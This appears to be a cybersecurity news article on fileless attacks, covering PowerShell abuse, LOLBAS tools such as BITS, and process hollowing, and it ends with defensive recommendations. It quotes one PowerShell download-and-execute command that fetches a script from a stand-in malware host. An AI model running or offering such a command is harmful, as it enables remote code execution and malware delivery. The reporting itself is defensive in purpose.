Cyber Security News

Hackers Using PowerShell and Microsoft Legitimate Apps to Deploy Malware

Cybersecurity experts are warning of an increasing trend in fileless attacks, where hackers leverage PowerShell and legitimate Microsoft applications to deploy malware without leaving significant traces on compromised systems.

These sophisticated attacks, which have been around for over two decades, are proving particularly effective in bypassing traditional antivirus solutions and complicating incident response efforts.

PowerShell Abuse and LOLBAS Techniques at the Forefront

Attackers are extensively abusing PowerShell, Microsoft’s powerful scripting language, to download and execute malicious payloads directly in memory.

A common technique involves using commands like “iex((New-Object Net.WebClient).

DownloadString(‘https://malware.com/payload.ps1’))” to retrieve and execute malicious scripts without writing them to disk.

This approach makes detection significantly more challenging for conventional security tools.

In addition to PowerShell, threat actors are increasingly utilizing LOLBAS (Living Off the Land Binaries and Scripts) techniques.

APT 41 Powershell C&C Communications

According to the researchers, these methods involve the misuse of legitimate Microsoft applications and utilities to carry out malicious activities.

For instance, the BITS (Background Intelligent Transfer Service) admin tool can be exploited to download and execute malware payloads when systems are idle, effectively bypassing security controls.

Memory Injection and Process Hollowing

Another critical component of fileless attacks is memory injection, allowing attackers to disguise their malware as legitimate processes.

One particularly insidious technique, known as Process Hollowing, involves executing a legitimate application in a suspended state, replacing its code in memory with malicious payload, and then resuming execution.

This method, first popularized by the Stuxnet malware, enables attackers to run their code under the guise of trusted system processes.

To combat the rising threat of fileless attacks, cybersecurity professionals recommend implementing a multi-layered approach.

This includes deploying Endpoint Detection and Response (EDR) solutions, enhancing memory analysis and monitoring capabilities, enabling comprehensive PowerShell logging, and implementing PowerShell Constrained Language Mode.

Additionally, organizations are advised to monitor Active Directory closely and regularly test for weaknesses through Red Teaming exercises.

As fileless attacks continue to evolve, it’s clear that traditional file-based security measures are no longer sufficient.

Organizations must adapt their security strategies to address these advanced threats, focusing on behavior-based detection and robust monitoring of system activities across their entire network infrastructure.

Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.

Aman Mishra

Aman Mishra is a Security and privacy Reporter covering various data breach, cyber crime, malware, & vulnerability.

Recent Posts

Hackers Use ConnectWise SkyKick Credentials to Access Microsoft 365, Halting Cloud Backups

Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…

1 day ago

Anthropic’s Claude AI Uncovers Origins of NSA-Provided Cryptographic Keys After 25 Years

Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…

1 day ago

Critical WordPress Flaws Allow Attackers to Execute Remote Code Without Authentication

Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…

1 day ago

OpenBSD Kernel Flaw Dating Back 37 Years Enables Local Privilege Escalation to Root

A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…

1 day ago

GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories

GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…

1 day ago

SideCopy Hackers Target Indian Organizations With ReverseRAT Malware to Steal Data

Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…

1 day ago